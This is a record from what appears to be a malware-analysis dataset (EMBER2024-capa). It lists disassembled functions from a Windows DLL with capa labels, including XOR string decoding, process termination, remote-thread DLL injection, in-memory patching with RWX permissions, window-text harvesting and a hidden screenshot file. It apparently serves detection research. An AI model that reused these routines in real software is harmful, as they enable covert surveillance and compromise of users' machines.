joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014ad0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x12
xor eax, eax
mov dl, byte [edi + eax + 0x37dbe243]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x10014ae1
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100169f0
Capabilities:
Create directory
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x101a3a90]
mov ecx, dword [ebp + 0xc]
test eax, eax
js 0x10016b44
cmp eax, 1
jge 0x10016b44
push edi
imul edi, eax, 0x214
inc eax
push ecx
mov dword [0x101a3a90], eax
push 0x100
add edi, 0x101a387c
lea eax, [edi + 4]
mov dword [edi], 1
push eax
call fcn.10033a00
add esp, 0xc
cmp dword [edi], 0
je 0x10016b43
push ebx
push esi
mov eax, 0x10055410
lea ecx, [ebp - 0x1c]
push 0
sub eax, 0x77c4117b
push eax
call fcn.10016dd0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x12]
mov edx, 0x5a
movzx ebx, word [ebp - 0xe]
xor ecx, ecx
mov dword [edi + 0x108], eax
movzx eax, word [ebp - 0x14]
mov dword [edi + 0x104], ebx
mov dword [edi + 0x10c], eax
nop word [eax + eax]
mov al, byte [ecx + 0x100553f0]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1e
jb 0x10016aa0
movzx eax, word [ebp - 0x12]
lea esi, [edi + 0x110]
push ebx
push eax
movzx eax, word [ebp - 0x14]
push eax
mov byte [ebp - 0x1e], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x210], eax
pop esi
pop ebx
cmp eax, 0xffffffff
jne 0x10016b1f
mov dword [edi], 0
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 8
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10016b43
push dword [edi + 0x210]
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 8
Function at 0x10016b60
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
test eax, eax
js 0x10016db8
cmp eax, dword [ecx + 0x218]
jge 0x10016db8
imul edi, eax, 0x214
add edi, ecx
cmp dword [edi + 4], 0
je 0x10016db8
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x816]
cmp eax, dword [edi + 0x108]
jne 0x10016bdf
movzx eax, word [ebp - 0x81a]
cmp eax, dword [edi + 0x10c]
jne 0x10016bdf
movzx eax, word [ebp - 0x81c]
cmp eax, dword [edi + 0x110]
je 0x10016ce1
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [ebp - 0x816]
mov edx, 0xf4
mov dword [edi + 0x108], eax
xor ecx, ecx
movzx eax, word [ebp - 0x81a]
mov dword [edi + 0x10c], eax
movzx eax, word [ebp - 0x81c]
mov dword [edi + 0x110], eax
nop dword [eax]
mov al, byte [ecx + 0x1005542c]
xor al, dl
mov byte [ebp + ecx - 0x840], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x22
jb 0x10016c20
movzx eax, word [ebp - 0x816]
lea esi, [edi + 0x114]
push eax
movzx eax, word [ebp - 0x81a]
push eax
movzx eax, word [ebp - 0x81c]
push eax
lea eax, [ebp - 0x840]
mov byte [ebp - 0x81e], 0
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x214], eax
cmp eax, 0xffffffff
jne 0x10016cac
mov dword [edi + 4], 0
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10016ce1
push dword [edi + 0x214]
mov dword [edi + 4], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret
push 0x400
lea eax, [ebp - 0x80c]
push 0
push eax
call fcn.1002ab80
add esp, 0xc
lea eax, [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
lea eax, [ebp - 0x80c]
push 0x400
push eax
call fcn.100025a0
add esp, 0x14
lea eax, [ebp - 0x40c]
push 0x400
push 0
push eax
call fcn.1002ab80
add esp, 0xc
mov edx, 0xdf
xor ecx, ecx
mov al, byte [ecx + 0x10055418]
xor al, dl
mov byte [ebp + ecx - 0x834], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x13
jb 0x10016d31
lea eax, [ebp - 0x80c]
mov byte [ebp - 0x821], 0
push eax
movzx eax, word [ebp - 0x810]
push eax
movzx eax, word [ebp - 0x812]
push eax
movzx eax, word [ebp - 0x814]
push eax
lea eax, [ebp - 0x834]
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x40c]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10016d92
push 0
lea eax, [ebp - 0x844]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x40c]
push eax
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.10027a55
mov esp, ebp
pop ebp
ret
Function at 0x100170e0
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x48]
push 0x40
push 0
push eax
call fcn.1002ab80
add esp, 0xc
lea eax, [ebp - 0x458]
push 0x208
push 0
push eax
call fcn.1002ab80
add esp, 0xc
lea eax, [ebp - 0x250]
push 0x208
push 0
push eax
call fcn.1002ab80
add esp, 0xc
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001727e
push 0x104
lea eax, [ebp - 0x458]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x10017277
push ecx
lea edx, [ebp - 0x250]
lea ecx, [ebp - 0x458]
call fcn.1001d1a0
add esp, 4
test al, al
je 0x10017277
push ecx
lea eax, [ebp - 0x250]
push eax
call fcn.100167f0
test al, al
lea eax, [ebp - 0x48]
jne 0x100171ff
push 0x40
push 0
push eax
call fcn.1002ab80
add esp, 0xc
mov word [ebp - 0x45c], 0x5325
lea ecx, [ebp - 0x458]
mov byte [ebp - 0x45a], 0
call fcn.1001d3c0
push eax
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
lea edx, [ebp - 0x48]
mov ecx, 1
call fcn.10004cd0
add esp, 4
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 8
push eax
lea eax, [ebp - 0x250]
push eax
call fcn.100168b0
test al, al
jne 0x1001723b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
lea edx, [ebp - 0x48]
mov ecx, 2
call fcn.10004cd0
add esp, 4
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 8
push ecx
lea eax, [ebp - 0x250]
push eax
call fcn.10005b60
test al, al
jne 0x10017277
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
lea edx, [ebp - 0x48]
mov ecx, 5
call fcn.10004cd0
add esp, 4
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.10027a55
mov esp, ebp
pop ebp
ret 8
Function at 0x10017370
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100467e0
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1005c1c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
mov eax, 0xdd67c8a7
mov dword [ebp - 4], 0
or esi, 0xffffffff
mov ecx, dword [0x101ab0f4]
sub ecx, dword [0x101ab0f0]
imul ecx
mov eax, dword [edi + 8]
add edx, ecx
sar edx, 8
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
cmp ebx, eax
ja 0x100173f0
push str.invalid_vector_T__subscript
call fcn.1002314e
mov eax, 0x100173dc
ret
mov ecx, dword [0x101ab0f0]
imul edx, eax, 0x128
mov eax, dword [edx + ecx]
add edx, ecx
cmp eax, dword [edi + 0xc]
jne 0x10017441
lea ecx, [edi + 0x10]
lea eax, [edx + 0x24]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10017430
test dl, dl
je 0x1001742c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10017430
add eax, 2
add ecx, 2
test dl, dl
jne 0x10017410
xor eax, eax
jmp 0x10017435
sbb eax, eax
or eax, 1
mov ecx, dword [0x101ab0f0]
test eax, eax
cmove esi, dword [edi + 8]
mov dword [ebp - 4], 0xffffffff
cmp esi, 0xffffffff
je 0x1001747e
cmp ebx, esi
ja 0x1001745b
push str.invalid_vector_T__subscript
call fcn.1002314e
imul eax, esi, 0x128
push dword [eax + ecx]
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x1001747e
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10017de0
Capabilities:
Parse pe header
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
push 0
push 0
push 3
push 0
push 1
push connect
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp + 0x10]
push eax
mov dword [ebp - 0x44], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10017e33
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x10017e46
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x10017e7b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 0xc
push esi
push dword [ebp - 0x14]
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x10017efb
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x10017ef4
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x10017ef4
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
je 0x10017ec4
mov edx, 0x8664
cmp cx, dx
jne 0x10017ef4
push dword [eax + 0x28]
push dword [eax + 0x34]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToSection]
mov ecx, eax
test ecx, ecx
je 0x10017ef4
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x3c]
push 0
push 0
add eax, dword [ecx + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10017f1c
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 0xc
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
push 0x20
push dword [ebp - 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
je 0x10017ef5
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.10027a55
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10018590
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004686b
mov eax, dword fs:[0]
push eax
sub esp, 0xc30
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xc3c], 0
mov dword [ebp - 0xc38], 0
mov dword [ebp - 0xc34], 0
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0xc3c]
mov dword [ebp - 4], 0
call fcn.1001f500
mov word [ebp - 0xc30], 0xac2
mov byte [ebp - 0xc2e], 0xc
call fcn.1003176e
and eax, 0x800000ff
jns 0x10018614
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 0xc38]
xor edi, edi
mov byte [ebp - 0xc2d], al
mov eax, dword [ebp - 0xc3c]
sub ebx, eax
sar ebx, 2
mov byte [ebp - 0xc2c], 0x21
mov dword [ebp - 0xc28], ebx
test ebx, ebx
je 0x100186fe
lea esi, [ebp - 0x724]
jmp 0x10018656
mov eax, dword [ebp - 0xc3c]
cmp edi, 0x14
jge 0x100186fe
push 0x104
lea ecx, [ebp - 0x118]
push ecx
push dword [eax + edi*4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x104
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 0xc3c]
push dword [eax + edi*4]
call dword [sym.imp.USER32.dll_GetClassNameA]
movups xmm0, xmmword [ebp - 0x118]
inc edi
movups xmmword [esi - 0x500], xmm0
movups xmm0, xmmword [ebp - 0x108]
movups xmmword [esi - 0x4f0], xmm0
movups xmm0, xmmword [ebp - 0xf8]
movups xmmword [esi - 0x4e0], xmm0
movups xmm0, xmmword [ebp - 0xe8]
movups xmmword [esi - 0x4d0], xmm0
movups xmm0, xmmword [ebp - 0x220]
movups xmmword [esi], xmm0
movups xmm0, xmmword [ebp - 0x210]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [ebp - 0x200]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [ebp - 0x1f0]
movups xmmword [esi + 0x30], xmm0
add esi, 0x40
cmp edi, ebx
jb 0x10018650
push 0xa0c
lea eax, [ebp - 0xc30]
push eax
call fcn.10002130
mov ecx, dword [ebp - 0xc3c]
test ecx, ecx
je 0x1001872b
mov eax, dword [ebp - 0xc34]
sub eax, ecx
sar eax, 2
push eax
push ecx
call fcn.100187b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 4
Function at 0x10018c60
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.10028bb0
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x1010], 0
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x10018cb6
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [ebp - 0x1010]
xor esi, esi
shr ebx, 2
test ebx, ebx
jle 0x10018d21
mov edi, dword [ebp + esi*4 - 0x100c]
test edi, edi
je 0x10018d1c
push edi
lea eax, [ebp - 0x1018]
push eax
call fcn.10018ff0
test al, al
jne 0x10018d1c
mov dword [ebp - 0x1018], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push edi
mov dword [ebp - 0x1014], eax
call fcn.10019070
push ecx
push dword [ebp + esi*4 - 0x100c]
call fcn.10018d40
test al, al
je 0x10018ca1
push ecx
push dword [ebp + esi*4 - 0x100c]
call fcn.100170e0
test al, al
je 0x10018ca1
inc esi
cmp esi, ebx
jl 0x10018cc5
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10027a55
mov esp, ebp
pop ebp
ret 4

Function at 0x10018df0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10028bb0
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x110c]
push eax
push 0x1000
lea eax, [ebp - 0x1108]
mov dword [ebp - 0x110c], 0
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x10018e46
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 8
push esi
push edi
mov edi, dword [ebp - 0x110c]
xor esi, esi
shr edi, 2
test edi, edi
jle 0x10018eb5
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + esi*4 - 0x1108]
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10018eb0
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x108]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10018ea7
test dl, dl
je 0x10018ea3
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10018ea7
add ecx, 2
add eax, 2
test dl, dl
jne 0x10018e87
xor eax, eax
jmp 0x10018eac
sbb eax, eax
or eax, 1
test eax, eax
je 0x10018eca
inc esi
cmp esi, edi
jl 0x10018e60
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10027a55
mov esp, ebp
pop ebp
ret 8
Function at 0x10018ee0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
push 4
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10018f23
push 0
push ebx
push dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10018f2c
push 0x8000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 0xc
push 0x100555d0
push 0x10054900
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10018f15
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10018f15
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push edi
push esi
test eax, eax
jne 0x10018f1d
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
mov al, 1
pop ebx
pop ebp
ret 0xc
Function at 0x10019e20
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046928
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x1005c1c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101a89ac]
cmp eax, 0x927c0
jb 0x10019e63
call esi
mov dword [0x101a89ac], eax
cmp dword [0x101a8998], 0
je 0x10019f1a
mov edi, dword [0x101a34a8]
lea eax, [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
push 0x10
push edi
call esi
movups xmm0, xmmword [0x101a34ac]
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
movups xmmword [edi], xmm0
push 0x10
push edi
call esi
push 0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 1
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x2c], 0
push eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push dword [0x101a899c]
push eax
call fcn.10019bd0
test al, al
je 0x10019f09
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x1c]
je 0x10019f09
lea eax, [ebp - 0x20]
push eax
call fcn.10019f30
push dword [ebp - 0x14]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea ecx, [ebp - 0x20]
call fcn.1001a170
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001a310
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046958
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push esi
push edi
mov eax, dword [0x1005c1c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101a89ac]
cmp eax, 0x927c0
jb 0x1001a353
call esi
mov dword [0x101a89ac], eax
mov edi, dword [0x101a34a8]
lea eax, [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
push 0x10
push edi
call esi
movups xmm0, xmmword [0x101a34ac]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
movups xmmword [edi], xmm0
push 0x10
push edi
call esi
push 0
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 1
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x30], 0
push eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
push 0x14
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 0
push eax
call fcn.10019bd0
test al, al
jne 0x1001a3df
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x20]
jne 0x1001a3e8
lea eax, [ebp - 0x24]
push eax
call fcn.1001a600
push dword [ebp - 0x18]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea ecx, [ebp - 0x24]
call fcn.1001a170
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1001a410
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100469a5
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
push esi
push edi
mov eax, dword [0x1005c1c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101a89ac]
cmp eax, 0x927c0
jb 0x1001a456
call esi
mov dword [0x101a89ac], eax
mov edi, dword [0x101a34a8]
lea eax, [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
push 0x10
push edi
call esi
movups xmm0, xmmword [0x101a34ac]
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
movups xmmword [edi], xmm0
push 0x10
push edi
call esi
push 0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 1
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x2c], 0
push eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push 0x14
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0
push eax
call fcn.10019bd0
test al, al
jne 0x1001a4eb
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x14]
sete al
test al, al
je 0x1001a579
lea eax, [ebp - 0x18]
push eax
call fcn.1001a600
cmp dword [0x101a890c], 0
je 0x1001a579
push 0x32
lea eax, [ebp - 0x18]
push eax
call fcn.10019bd0
push ecx
lea ecx, [ebp - 0xf0]
call fcn.1001a8c0
sub esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf0]
call fcn.1001a7e0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
push 0
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.1000f5e0
lea ecx, [ebp - 0xf0]
call fcn.1001a770
push 2
push str.image.jpeg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.10002c90
lea ecx, [ebp - 0x78]
call fcn.1001a840
lea eax, [ebp - 0x78]
mov byte [ebp - 4], 4
push eax
mov dword [ebp - 0x78], vtable.std::ios_base.0
call fcn.10023bbe
add esp, 4
push dword [ebp - 0x20]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea ecx, [ebp - 0x18]
call fcn.1001a170
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret